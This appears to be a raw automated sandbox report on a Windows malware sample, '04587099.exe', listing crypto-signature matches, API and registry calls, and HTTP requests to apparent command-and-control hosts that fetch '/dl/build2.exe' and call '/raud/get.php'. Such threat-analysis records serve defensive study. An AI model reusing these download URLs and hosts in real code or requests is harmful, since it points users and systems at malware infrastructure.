Contains base64 string in header "colisumy" in header "GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: colisumy.com" Contains base64 string in header "A03451672593505B6FA78972319413D5" in header "GET /raud/get.php?pid=A03451672593505B6FA78972319413D5&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com" Contains base64 string in header "true" in header "GET /raud/get.php?pid=A03451672593505B6FA78972319413D5&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com" Contains base64 string in header "Internet" in header "GET /raud/get.php?pid=A03451672593505B6FA78972319413D5&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com" Contains base64 string in header "ExplorerHost" in header "GET /raud/get.php?pid=A03451672593505B6FA78972319413D5&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com"31:T759,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Reads the cryptographic machine GUID Matched sigs: HTTP requests contain Base64 strings Matched sigs: HTTP request contains Base64 encoded artifacts Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains CRYPTO related strings Matched sigs: Found XOR operators (encryption/decryption) Matched sigs: Contains reference to cryptographic keys Matched sigs: Contains ability to attach base64 encoded attachment to an email Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Drops image files with high entropy (likely encrypted/compressed content) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: Contains key cryptographic functions of the CryptoAPI Matched sigs: Contains ability to use AES encryption instructions Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to import cryptographic keys (seen in ransomware) Matched sigs: Contains ability to encrypt/encode message (API string) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains long base64 encoded strings Matched sigs: Possibly contains Public/Private key (encryption) Matched sigs: YARA signature match - RC4 Encryption Matched sigs: YARA signature match - Cryptography Rijndael Matched sigs: YARA signature match - Salsa20 Encryption Matched sigs: YARA signature match - AES Encryption32:T22ce,"04587099.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000009e29c27750d1ba020000000028000000240000000000b902e8eeaf000000000000000000000000000000000000000000d007b3023000000000000000040000000000b302f8c9cb72fdf9af008599ca720000000068d0ba0210afb9020400000000000000200000000000b302d001b302ac0bb30200000000a80bb302cceeaf00e0eeaf0050f5c17750d1ba0248efaf0094efaf00 (UID: 00000000-00005124) "04587099.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005124) "04587099.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005124) "04587099.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006576) "04587099.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006576) "04587099.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006576) "04587099.exe" called "RtlGetVersion" (UID: 00000000-00006576) "04587099.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000be230805d6230805 (UID: 00000000-00006576) "04587099.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000008e5fa702a25fa702 (UID: 00000000-00006576) "04587099.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000681a2021c81a202 (UID: 00000000-00006576) "04587099.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000362010902318ca7280278400e800c377d0f584009047ca72ba3b5fe2feffffff40f584009945c972f0f48400a8f5840000000000b245c972a8f58400ffffffffffffffff2300000000000000a8f58400000000000000000000000000000000000000000000000000000000000100000000000000ffffffffffffffff2300000000000000a8f58400000000001c000000000000000000000000000000000000005e201090e0f58400 (UID: 00000000-00005616) "04587099.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005616) "04587099.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005616) "04587099.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006344) "04587099.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006344)33:Tfa6,Found reference to API "EnumSystemLocalesA" (Indicator: "EnumSystemLocales"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; File: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; File: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; File: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp")34:T467,Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp")35:T556,Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp")36:T120d,Found string "%username%" (Indicator: "%username%"; File: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found string "%username%" (Indicator: "%username%"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "D:\Users\%username%\AppData\Local\" (Indicator: "%username%"; Source: "00000000-00004284.00000000.88232.00890000.00000004.mdmp") Found string "F:\Users\%username%\AppData\Roaming\" (Indicator: "%username%"; Source: "00000000-00004284.00000000.88232.00890000.00000004.mdmp") Found string "F:\Users\%username%\AppData\Local\" (Indicator: "%username%"; Source: "00000000-00004284.00000000.88232.00890000.00000004.mdmp") Found string "C:\Users\%username%\AppData\Local\" (Indicator: "%username%"; Source: "00000000-00004284.00000000.88232.00890000.00000004.mdmp") Found string "E:\Users\%username%\AppData\Roaming\" (Indicator: "%username%"; Source: "00000000-00004284.00000000.88232.00890000.00000004.mdmp") Found string "D:\Users\%username%\AppData\Roaming\" (Indicator: "%username%"; Source: "00000000-00004284.00000000.88232.00890000.00000004.mdmp") Found string "E:\Users\%username%\AppData\Local\" (Indicator: "%username%"; Source: "00000000-00004284.00000000.88232.00890000.00000004.mdmp") Found string "C:\Users\%username%\AppData\Roaming\" (Indicator: "%username%"; Source: "00000000-00004284.00000000.88232.00890000.00000004.mdmp") file/memory contains long string with (Indicator: "%username%"; Source: "00000000-00004284.00000000.88232.00890000.00000004.mdmp") Found string "e%\AppData\Roaming\|D:\Users\%username%\AppData\Local\|D:\Windows\|D:\PerfLogs\|D:\ProgramData\Desktop\|D:\ProgramData\Microsoft\|D:\ProgramData\Packa" (Indicator: "%username%"; Source: "00000000-00004284.00000000.88232.00890000.00000004.mdmp") Found string "ppData\Roaming\|C:\Users\%username%\AppData\Local\|C:\Windows\|C:\PerfLogs\|C:\ProgramData\Microsoft\|C:\ProgramData\Package Cache\|C:\Users\Public\|C" (Indicator: "%username%"; Source: "00000000-00004284.00000000.88232.00890000.00000004.mdmp") Found string "ers\%username%\AppData\Roaming\|E:\Users\%username%\AppData\Local\|E:\Windows\|E:\PerfLogs\|E:\ProgramData\Desktop\|E:\ProgramData\Microsoft\|E:\Progr" (Indicator: "%username%"; Source: "00000000-00004284.00000000.88232.00890000.00000004.mdmp") Found string "Games\|F:\Users\%username%\AppData\Roaming\|F:\Users\%username%\AppData\Local\|F:\Windows\|F:\PerfLogs\|F:\ProgramData\Desktop\|F:\ProgramData\Microso" (Indicator: "%username%"; Source: "00000000-00004284.00000000.88232.00890000.00000004.mdmp") Found string "lic\|C:\Users\All Users\|C:\Users\Default\|C:\Documents and Settings\|C:\ProgramData\|C:\Recovery\|C:\System Volume Information\|C:\Users\%username%\A" (Indicator: "%username%"; Source: "00000000-00004284.00000000.88232.00890000.00000004.mdmp") Found string "%username%" (Indicator: "%username%"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found string "C:\Users\%username%\AppData\Local\" (Indicator: "%username%"; Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp, 00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found string "D:\Users\%username%\AppData\Roaming\" (Indicator: "%username%"; Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp, 00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found string "C:\Users\%username%\AppData\Roaming\" (Indicator: "%username%"; Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp, 00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found string "D:\Users\%username%\AppData\Local\" (Indicator: "%username%"; Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp, 00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found string "E:\Users\%username%\AppData\Roaming\" (Indicator: "%username%"; Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp, 00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found string "E:\Users\%username%\AppData\Local\" (Indicator: "%username%"; Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp, 00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found string "F:\Users\%username%\AppData\Roaming\" (Indicator: "%username%"; Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp, 00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found string "F:\Users\%username%\AppData\Local\" (Indicator: "%username%"; Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp, 00000000-00005728.00000001.82597.00600000.00000004.mdmp")37:T7c3,"04587099.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "REGISTRATIONENABLED"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "REGISTERADAPTERNAME"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "DOMAIN"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "DHCPDOMAIN"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "ENABLEDHCP"; Value: "")38:T898,"04587099.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "04587099.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "04587099.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "04587099.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "04587099.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "04587099.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "04587099.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "04587099.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "04587099.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "04587099.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "04587099.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "04587099.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "04587099.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "04587099.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "04587099.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "04587099.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "04587099.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "04587099.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "04587099.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "04587099.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "04587099.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "04587099.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "")39:T4f7,"04587099.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "04587099.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "04587099.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "04587099.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "04587099.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "04587099.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "04587099.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "04587099.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "04587099.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "04587099.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")3a:Tfbef,"04587099.exe" called "NtQueryInformationToken" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtOpenKeyEx" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtQueryValueKey" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtOpenFile" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtSetInformationKey" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtQueryInformationFile" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtEnumerateKey" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtQueryKey" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtEnumerateValueKey" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtProtectVirtualMemory" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtOpenThread" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtResumeThread" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtQueryAttributesFile" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtCreateSection" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtMapViewOfSection" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtQueryVolumeInformationFile" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtOpenSection" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtAllocateVirtualMemory" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtSetInformationProcess" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "LdrGetDllHandle" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtQueryInformationProcess" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtQuerySystemInformation" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "LdrLoadDll" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "LoadLibrary" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtQueryVirtualMemory" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtUnmapViewOfSection" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtSuspendThread" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtGetContextThread" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtConnectPort" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called 